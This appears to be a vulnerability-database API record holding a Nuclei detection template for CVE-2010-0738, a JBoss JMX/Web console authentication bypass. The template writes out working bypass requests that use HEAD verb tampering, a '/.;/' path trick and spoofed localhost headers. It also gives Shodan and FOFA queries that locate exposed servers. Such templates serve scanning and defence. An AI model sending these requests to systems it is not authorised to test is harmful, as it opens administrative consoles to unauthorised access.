{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2010-0738/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2010-0738/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2010-0738/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2010-0738/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2010-0738/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2010-0738"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2010-0738"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2010/CVE-2010-0738.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2010-0738\n\ninfo:\n  name: JBoss JMX/Web Console - Authentication Bypass via HTTP Verb Tampering\n  author: Securin\n  severity: critical\n  description: |\n    JBoss EAP 4.2 (before 4.2.0.CP09) and 4.3 (before 4.3.0.CP08) only enforce authentication for GET/POST on the JMX and Web consoles because the web.xml security-constraint enumerates only those verbs in <http-method>. Non-standard verbs such as HEAD skip the constraint, granting unauthenticated access to MBean operations (which can lead to remote code execution).\n  impact: |\n    Attackers can send requests to the JMX-Console GET handler using other HTTP methods, potentially leading to unauthorized access or control.\n  remediation: |\n    Update to version 4.2.0.CP09 or later for 4.2, and 4.3.0.CP08 or later for 4.3, or apply security patches provided by Red Hat.\n  reference:\n    - https://access.redhat.com/solutions/30744\n    - https://github.com/joaomatosf/jexboss\n    - https://nvd.nist.gov/vuln/detail/CVE-2010-0738\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2010-0738\n    epss-score: 0.73815\n    epss-percentile: 0.99477\n    cwe-id: CWE-288\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: redhat\n    product: jboss_enterprise_application_platform\n    shodan-query:\n      - http.html:\"/jmx-console/\"\n      - http.title:\"jboss\"\n      - cpe:\"cpe:2.3:a:redhat:jboss_enterprise_application_platform\"\n    fofa-query: 'title=\"JBoss\" && body=\"/jmx-console/\"'\n  tags: cve,cve2010,jboss,auth-bypass,verb-tampering,jmx,kev,vkev\n\nhttp:\n  - raw:\n      - |\n        HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n      - |\n        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n    matchers:\n      - type: dsl\n        name: jmx-console-verb-bypass\n        dsl:\n          - \"status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - \"'jmx-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)\"\n\n  - raw:\n      - |\n        GET /jmx-console/.;/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n      - |\n        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n    matchers:\n      - type: dsl\n        name: jmx-console-path-normalization-bypass\n        dsl:\n          - \"status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403) && contains(body_1, 'jboss.system:type=ServerInfo')\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - \"'jmx-console /.;/ bypass: normalized=' + to_string(status_code_1) + ' baseline=' + to_string(status_code_2)\"\n\n  - raw:\n      - |\n        HEAD /web-console/ServerInfo.jsp HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n      - |\n        GET /web-console/ServerInfo.jsp HTTP/1.1\n        Host: {{Hostname}}\n        X-Forwarded-For: 127.0.0.1\n        X-Originating-IP: 127.0.0.1\n        Referer: {{RootURL}}\n\n    matchers:\n      - type: dsl\n        name: web-console-verb-bypass\n        dsl:\n          - \"status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - \"'web-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)\"\n# digest: 4a0a00473045022100a2a3652edee844847b82774449743c3950f5c2183e8aaad32a82c6a61eb8f8b602201d023b4e7ff5d1522f7286e3e4ac12389a2fe0b956bf596d170f39d8a33e43b6:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2010-0738"
}